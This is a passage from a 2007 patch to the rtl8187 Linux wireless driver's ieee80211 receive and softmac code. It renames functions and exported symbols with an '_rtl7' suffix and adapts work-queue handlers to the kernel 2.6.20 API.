IW_WIRELESS_SPY */ #endif /* WIRELESS_EXT > 15 */ - hostap_update_rx_stats(local->ap, hdr, rx_stats); + hostap_update_rx_stats_rtl7(local->ap, hdr, rx_stats); #endif #if WIRELESS_EXT > 15 if (ieee->iw_mode == IW_MODE_MONITOR) { - ieee80211_monitor_rx(ieee, skb, rx_stats); + ieee80211_monitor_rx_rtl7(ieee, skb, rx_stats); stats->rx_packets++; stats->rx_bytes += skb->len; return 1; @@ -529,7 +595,7 @@ * stations that do not support WEP key mapping). */ if (!(hdr->addr1[0] & 0x01) || local->bcrx_sta_key) - (void) hostap_handle_sta_crypto(local, hdr, &crypt, + (void) hostap_handle_sta_crypto_rtl7(local, hdr, &crypt, &sta); #endif @@ -555,7 +621,7 @@ if (skb->len < IEEE80211_DATA_HDR3_LEN) goto rx_dropped; - if (is_duplicate_packet(ieee, hdr)) + if (is_duplicate_packet_rtl7(ieee, hdr)) goto rx_dropped; @@ -575,7 +641,7 @@ #endif - if (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype)) + if (ieee80211_rx_frame_mgmt_rtl7(ieee, skb, rx_stats, type, stype)) goto rx_dropped; else goto rx_exit; @@ -606,7 +672,7 @@ } #ifdef NOT_YET - if (hostap_rx_frame_wds(ieee, hdr, fc, &wds)) + if (hostap_rx_frame_wds_rtl7(ieee, hdr, fc, &wds)) goto rx_dropped; if (wds) { skb->dev = dev = wds; @@ -619,7 +685,7 @@ memcmp(hdr->addr2, ieee->assoc_ap_addr, ETH_ALEN) == 0) { /* Frame from BSSID of the AP for which we are a client */ skb->dev = dev = ieee->stadev; - stats = hostap_get_stats(dev); + stats = hostap_get_stats_rtl7(dev); from_assoc_ap = 1; } #endif @@ -630,7 +696,7 @@ if ((ieee->iw_mode == IW_MODE_MASTER || ieee->iw_mode == IW_MODE_REPEAT) && !from_assoc_ap) { - switch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats, + switch (hostap_handle_sta_rx_rtl7(ieee, dev, skb, rx_stats, wds != NULL)) { case AP_RX_CONTINUE_NOT_AUTHORIZED: frame_authorized = 0; @@ -664,7 +730,7 @@ /* skb: hdr + (possibly fragmented, possibly encrypted) payload */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0) + (keyidx = ieee80211_rx_frame_decrypt_rtl7(ieee, skb, crypt)) < 0) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; @@ -674,7 +740,7 @@ // ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && if ((frag != 0 || (fc & IEEE80211_FCTL_MOREFRAGS))) { int flen; - struct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr); + struct sk_buff *frag_skb = ieee80211_frag_cache_get_rtl7(ieee, hdr); IEEE80211_DEBUG_FRAG("Rx Fragment received (%u)\n", frag); if (!frag_skb) { @@ -694,7 +760,7 @@ printk(KERN_WARNING "%s: host decrypted and " "reassembled frame did not fit skb\n", dev->name); - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); goto rx_dropped; } @@ -722,19 +788,19 @@ * delivered, so remove skb from fragment cache */ skb = frag_skb; hdr = (struct ieee80211_hdr *) skb->data; - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); } /* skb: hdr + (possible reassembled) full MSDU payload; possibly still * encrypted/authenticated */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt)) + ieee80211_rx_frame_decrypt_msdu_rtl7(ieee, skb, keyidx, crypt)) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep) { if (/*ieee->ieee802_1x &&*/ - ieee80211_is_eapol_frame(ieee, skb)) { + ieee80211_is_eapol_frame_rtl7(ieee, skb)) { #ifdef CONFIG_IEEE80211_DEBUG /* pass unencrypted EAPOL frames even if encryption is * configured */ @@ -763,7 +829,7 @@ #endif if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep && - !ieee80211_is_eapol_frame(ieee, skb)) { + !ieee80211_is_eapol_frame_rtl7(ieee, skb)) { IEEE80211_DEBUG_DROP( "dropped unencrypted RX data " "frame from " MAC_FMT @@ -896,7 +962,7 @@ #define MGMT_FRAME_FIXED_PART_LENGTH 0x24 -static inline int ieee80211_is_ofdm_rate(u8 rate) +static inline int ieee80211_is_ofdm_rate_rtl7(u8 rate) { switch (rate & ~IEEE80211_BASIC_RATE_MASK) { case IEEE80211_OFDM_RATE_6MB: @@ -913,7 +979,7 @@ } -static inline int ieee80211_network_init( +static inline int ieee80211_network_init_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_network *network, @@ -964,7 +1030,7 @@ switch (info_element->id) { case MFIE_TYPE_SSID: - if (ieee80211_is_empty_essid(info_element->data, + if (ieee80211_is_empty_essid_rtl7(info_element->data, info_element->len)) { network->flags |= NETWORK_EMPTY_ESSID; break; @@ -991,7 +1057,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1014,7 +1080,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1147,7 +1213,7 @@ return 1; } - if (ieee80211_is_empty_essid(network->ssid, network->ssid_len)) + if (ieee80211_is_empty_essid_rtl7(network->ssid, network->ssid_len)) network->flags |= NETWORK_EMPTY_ESSID; memcpy(&network->stats, stats, sizeof(network->stats)); @@ -1155,7 +1221,7 @@ return 0; } -static inline int is_same_network(struct ieee80211_network *src, +static inline int is_same_network_rtl7(struct ieee80211_network *src, struct ieee80211_network *dst) { /* A network is only a duplicate if the channel, BSSID, ESSID @@ -1172,7 +1238,7 @@ (dst->capability & WLAN_CAPABILITY_BSS))); } -static inline void update_network(struct ieee80211_network *dst, +static inline void update_network_rtl7(struct ieee80211_network *dst, struct ieee80211_network *src) { memcpy(&dst->stats, &src->stats, sizeof(struct ieee80211_rx_stats)); @@ -1204,7 +1270,7 @@ /* dst->last_associate is not overwritten */ } -static inline void ieee80211_process_probe_response( +static inline void ieee80211_process_probe_response_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_rx_stats *stats) @@ -1239,7 +1305,7 @@ (beacon->capability & (1<<0x1)) ? '1' : '0', (beacon->capability & (1<<0x0)) ? '1' : '0'); - if (ieee80211_network_init(ieee, beacon, &network, stats)) { + if (ieee80211_network_init_rtl7(ieee, beacon, &network, stats)) { IEEE80211_DEBUG_SCAN("Dropped '%s' (" MAC_FMT ") via %s.\n", escape_essid(info_element->data, info_element->len), @@ -1262,11 +1328,11 @@ spin_lock_irqsave(&ieee->lock, flags); - if(is_same_network(&ieee->current_network, &network)) - update_network(&ieee->current_network, &network); + if(is_same_network_rtl7(&ieee->current_network, &network)) + update_network_rtl7(&ieee->current_network, &network); list_for_each_entry(target, &ieee->network_list, list) { - if (is_same_network(target, &network)) + if (is_same_network_rtl7(target, &network)) break; if ((oldest == NULL) || @@ -1306,7 +1372,7 @@ memcpy(target, &network, sizeof(*target)); list_add_tail(&target->list, &ieee->network_list); if(ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } else { IEEE80211_DEBUG_SCAN("Updating '%s' (" MAC_FMT ") via %s.\n", escape_essid(target->ssid, @@ -1321,15 +1387,15 @@ * net and call the new_net handler */ renew = !time_after(target->last_scanned + ieee->scan_age, jiffies); - update_network(target, &network); + update_network_rtl7(target, &network); if(renew && (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE)) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_rx_mgt(struct ieee80211_device *ieee, +void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats) { @@ -1339,7 +1405,7 @@ IEEE80211_DEBUG_MGMT("received BEACON (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Beacon\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1347,7 +1413,7 @@ IEEE80211_DEBUG_MGMT("received PROBE RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Probe response\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1355,5 +1421,5 @@ } -EXPORT_SYMBOL(ieee80211_rx_mgt); -EXPORT_SYMBOL(ieee80211_rx); +EXPORT_SYMBOL(ieee80211_rx_mgt_rtl7); +EXPORT_SYMBOL(ieee80211_rx_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac.c rtl8187_txpower/ieee80211/ieee80211_softmac.c --- rtl8187_orig/ieee80211/ieee80211_softmac.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_softmac.c 2007-04-23 00:09:00.000000000 +0200 @@ -20,12 +20,12 @@ #include #include -short ieee80211_is_54g(struct ieee80211_network net) +short ieee80211_is_54g_rtl7(struct ieee80211_network net) { return ((net.rates_ex_len > 0) || (net.rates_len > 4)); } -short ieee80211_is_shortslot(struct ieee80211_network net) +short ieee80211_is_shortslot_rtl7(struct ieee80211_network net) { return (net.capability & WLAN_CAPABILITY_SHORT_SLOT); } @@ -34,7 +34,7 @@ * tag and the EXTENDED RATE MFIE tag if needed. * It encludes two bytes per tag for the tag itself and its len */ -unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) +unsigned int ieee80211_MFIE_rate_len_rtl7(struct ieee80211_device *ieee) { unsigned int rate_len = 0; @@ -52,7 +52,7 @@ * Then it updates the pointer so that * it points after the new MFIE tag added. */ -void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) +void ieee80211_MFIE_Brate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { u8 *tag = *tag_p; @@ -69,7 +69,7 @@ *tag_p = tag; } -void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p) +void ieee80211_MFIE_Grate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { u8 *tag = *tag_p; @@ -92,7 +92,7 @@ *tag_p = tag; } -void enqueue_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb) +void enqueue_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; @@ -110,7 +110,7 @@ //return 0; } -struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) +struct sk_buff *dequeue_mgmt_rtl7(struct ieee80211_device *ieee) { struct sk_buff *ret; @@ -125,15 +125,15 @@ return ret; } -void init_mgmt_queue(struct ieee80211_device *ieee) +void init_mgmt_queue_rtl7(struct ieee80211_device *ieee) { ieee->mgmt_queue_tail = ieee->mgmt_queue_head = 0; } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl); +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl); -inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { unsigned long flags; short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; @@ -144,13 +144,13 @@ spin_lock_irqsave(&ieee->lock, flags); /* called with 2nd param 0, no mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); if(single){ if(ieee->queue_stop){ - enqueue_mgmt(ieee,skb); + enqueue_mgmt_rtl7(ieee,skb); }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -184,7 +184,7 @@ } -inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_ps_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; @@ -219,7 +219,7 @@ } } -inline struct sk_buff *ieee80211_probe_req(struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_probe_req_rtl7(struct ieee80211_device *ieee) { unsigned int len,rate_len; u8 *tag; @@ -228,7 +228,7 @@ len = ieee->current_network.ssid_len; - rate_len = ieee80211_MFIE_rate_len(ieee); + rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); @@ -251,21 +251,21 @@ memcpy(tag, ieee->current_network.ssid, len); tag += len; - ieee80211_MFIE_Brate(ieee,&tag); - ieee80211_MFIE_Grate(ieee,&tag); + ieee80211_MFIE_Brate_rtl7(ieee,&tag); + ieee80211_MFIE_Grate_rtl7(ieee,&tag); return skb; } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee); -void ieee80211_send_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee); +void ieee80211_send_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; unsigned long flags; - skb = ieee80211_get_beacon_(ieee); + skb = ieee80211_get_beacon__rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_beacons++; } @@ -279,37 +279,37 @@ } -void ieee80211_send_beacon_cb(unsigned long _ieee) +void ieee80211_send_beacon_cb_rtl7(unsigned long _ieee) { struct ieee80211_device *ieee = (struct ieee80211_device *) _ieee; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); } -void ieee80211_send_probe(struct ieee80211_device *ieee) +void ieee80211_send_probe_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - skb = ieee80211_probe_req(ieee); + skb = ieee80211_probe_req_rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_probe_rq++; } } -void ieee80211_send_probe_requests(struct ieee80211_device *ieee) +void ieee80211_send_probe_requests_rtl7(struct ieee80211_device *ieee) { if (ieee->active_scan && (ieee->softmac_features & IEEE_SOFTMAC_PROBERQ)){ - ieee80211_send_probe(ieee); - ieee80211_send_probe(ieee); + ieee80211_send_probe_rtl7(ieee); + ieee80211_send_probe_rtl7(ieee); } } /* this performs syncro scan blocking the caller until all channels * in the allowed channel map has been checked. */ -void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_softmac_scan_syncro_rtl7(struct ieee80211_device *ieee) { short ch = 0; @@ -349,7 +349,7 @@ ieee->set_chan(ieee->dev, ch); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. @@ -384,11 +384,17 @@ } #endif -void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ - down(&ieee->scan_sem); - +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else +void ieee80211_softmac_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short watchdog = 0; + down(&ieee->scan_sem); do{ ieee->current_network.channel = @@ -402,7 +408,7 @@ goto out; ieee->set_chan(ieee->dev, ieee->current_network.channel); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); #if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); @@ -427,19 +433,19 @@ #endif -void ieee80211_beacons_start(struct ieee80211_device *ieee) +void ieee80211_beacons_start_rtl7(struct ieee80211_device *ieee) { unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); spin_unlock_irqrestore(&ieee->beacon_lock,flags); } -void ieee80211_beacons_stop(struct ieee80211_device *ieee) +void ieee80211_beacons_stop_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -453,25 +459,25 @@ } -void ieee80211_stop_send_beacons(struct ieee80211_device *ieee) +void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->stop_send_beacons) ieee->stop_send_beacons(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_stop(ieee); + ieee80211_beacons_stop_rtl7(ieee); } -void ieee80211_start_send_beacons(struct ieee80211_device *ieee) +void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + ieee80211_beacons_start_rtl7(ieee); } -void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_scan_rtl7(struct ieee80211_device *ieee) { // unsigned long flags; @@ -490,22 +496,22 @@ up(&ieee->scan_sem); } -void ieee80211_stop_scan(struct ieee80211_device *ieee) +void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_stop_scan(ieee); + ieee80211_softmac_stop_scan_rtl7(ieee); else ieee->stop_scan(ieee->dev); } /* called with ieee->lock held */ -void ieee80211_start_scan(struct ieee80211_device *ieee) +void ieee80211_start_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); - queue_work(ieee->wq, &ieee->softmac_scan_wq); + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); } }else ieee->start_scan(ieee->dev); @@ -513,18 +519,18 @@ } /* called with wx_sem held */ -void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_scan_syncro(ieee); + ieee80211_softmac_scan_syncro_rtl7(ieee); else ieee->scan_syncro(ieee->dev); } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req_rtl7(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { struct sk_buff *skb; @@ -557,7 +563,7 @@ } -static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) +static struct sk_buff* ieee80211_probe_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { u8 *tag; int beacon_size; @@ -578,7 +584,7 @@ else atim_len = 0; - if(ieee80211_is_54g(ieee->current_network)) + if(ieee80211_is_54g_rtl7(ieee->current_network)) erp_len = 3; else erp_len = 0; @@ -664,7 +670,7 @@ } -struct sk_buff* ieee80211_assoc_resp(struct ieee80211_device *ieee, u8 *dest) +struct sk_buff* ieee80211_assoc_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { struct sk_buff *skb; u8* tag; @@ -673,7 +679,7 @@ struct ieee80211_assoc_response_frame *assoc; short encrypt; - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; skb = dev_alloc_skb(len); @@ -711,13 +717,13 @@ tag = (u8*) skb_put(skb, rate_len); - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); return skb; } -struct sk_buff* ieee80211_auth_resp(struct ieee80211_device *ieee,int status, u8 *dest) +struct sk_buff* ieee80211_auth_resp_rtl7(struct ieee80211_device *ieee,int status, u8 *dest) { struct sk_buff *skb; struct ieee80211_authentication *auth; @@ -744,7 +750,7 @@ } -struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) +struct sk_buff* ieee80211_null_func_rtl7(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; @@ -770,35 +776,35 @@ } -void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest) +void ieee80211_resp_to_assoc_rq_rtl7(struct ieee80211_device *ieee, u8* dest) { - struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); + struct sk_buff *buf = ieee80211_assoc_resp_rtl7(ieee, dest); if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) +void ieee80211_resp_to_auth_rtl7(struct ieee80211_device *ieee, int s, u8* dest) { - struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); + struct sk_buff *buf = ieee80211_auth_resp_rtl7(ieee, s, dest); if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) +void ieee80211_resp_to_probe_rtl7(struct ieee80211_device *ieee, u8 *dest) { - struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); + struct sk_buff *buf = ieee80211_probe_resp_rtl7(ieee, dest); if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_association_req_rtl7(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; @@ -807,7 +813,7 @@ unsigned int wpa_len = beacon->wpa_ie_len; - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); @@ -848,8 +854,8 @@ tag = skb_put(skb, rate_len); - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); tag = skb_put(skb,wpa_len); @@ -858,7 +864,7 @@ return skb; } -void ieee80211_associate_abort(struct ieee80211_device *ieee) +void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -887,13 +893,13 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_associate_abort_cb(unsigned long dev) +void ieee80211_associate_abort_cb_rtl7(unsigned long dev) { - ieee80211_associate_abort((struct ieee80211_device *) dev); + ieee80211_associate_abort_rtl7((struct ieee80211_device *) dev); } -void ieee80211_associate_step1(struct ieee80211_device *ieee) +void ieee80211_associate_step1_rtl7(struct ieee80211_device *ieee) { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; @@ -901,20 +907,20 @@ IEEE80211_DEBUG_MGMT("Stopping scan\n"); ieee->softmac_stats.tx_auth_rq++; - skb=ieee80211_authentication_req(beacon, ieee, 0); + skb=ieee80211_authentication_req_rtl7(beacon, ieee, 0); if (!skb) - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); } } -void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) +void ieee80211_auth_challenge_rtl7(struct ieee80211_device *ieee, u8 *challenge, int chlen) { u8 *c; struct sk_buff *skb; @@ -924,9 +930,9 @@ ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - skb = ieee80211_authentication_req(beacon, ieee, chlen+2); + skb = ieee80211_authentication_req_rtl7(beacon, ieee, chlen+2); if (!skb) - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; @@ -935,16 +941,16 @@ IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); + ieee80211_encrypt_fragment_rtl7(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); } kfree(challenge); } -void ieee80211_associate_step2(struct ieee80211_device *ieee) +void ieee80211_associate_step2_rtl7(struct ieee80211_device *ieee) { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; @@ -954,20 +960,26 @@ IEEE80211_DEBUG_MGMT("Sending association request\n"); ieee->softmac_stats.tx_ass_rq++; - skb=ieee80211_association_req(beacon, ieee); + skb=ieee80211_association_req_rtl7(beacon, ieee); if (!skb) - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); else{ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); } } -void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else +void ieee80211_associate_complete_wq_rtl7(struct ieee80211_device *ieee) { +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; @@ -977,13 +989,13 @@ printk(KERN_INFO"Using B rates\n"); } ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); } -void ieee80211_associate_complete(struct ieee80211_device *ieee) +void ieee80211_associate_complete_rtl7(struct ieee80211_device *ieee) { del_timer_sync(&ieee->associate_timer); @@ -995,24 +1007,29 @@ queue_work(ieee->wq, &ieee->associate_complete_wq); } -void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else +void ieee80211_associate_procedure_wq_rtl7(struct ieee80211_device *ieee) { +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - ieee80211_stop_scan(ieee); + ieee80211_stop_scan_rtl7(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->associate_seq = 1; - ieee80211_associate_step1(ieee); + ieee80211_associate_step1_rtl7(ieee); up(&ieee->wx_sem); } -inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) +inline void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net) { u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; @@ -1079,7 +1096,7 @@ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1092,17 +1109,15 @@ } } - } -void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) +void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee) { unsigned long flags; struct ieee80211_network *target; spin_lock_irqsave(&ieee->lock, flags); - list_for_each_entry(target, &ieee->network_list, list) { /* if the state become different that NOLINK means @@ -1112,7 +1127,7 @@ break; //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) - ieee80211_softmac_new_net(ieee, target); + ieee80211_softmac_new_net_rtl7(ieee, target); } spin_unlock_irqrestore(&ieee->lock, flags); @@ -1120,7 +1135,7 @@ } -static inline u16 auth_parse(struct sk_buff *skb, u8** challenge, int *chlen) +static inline u16 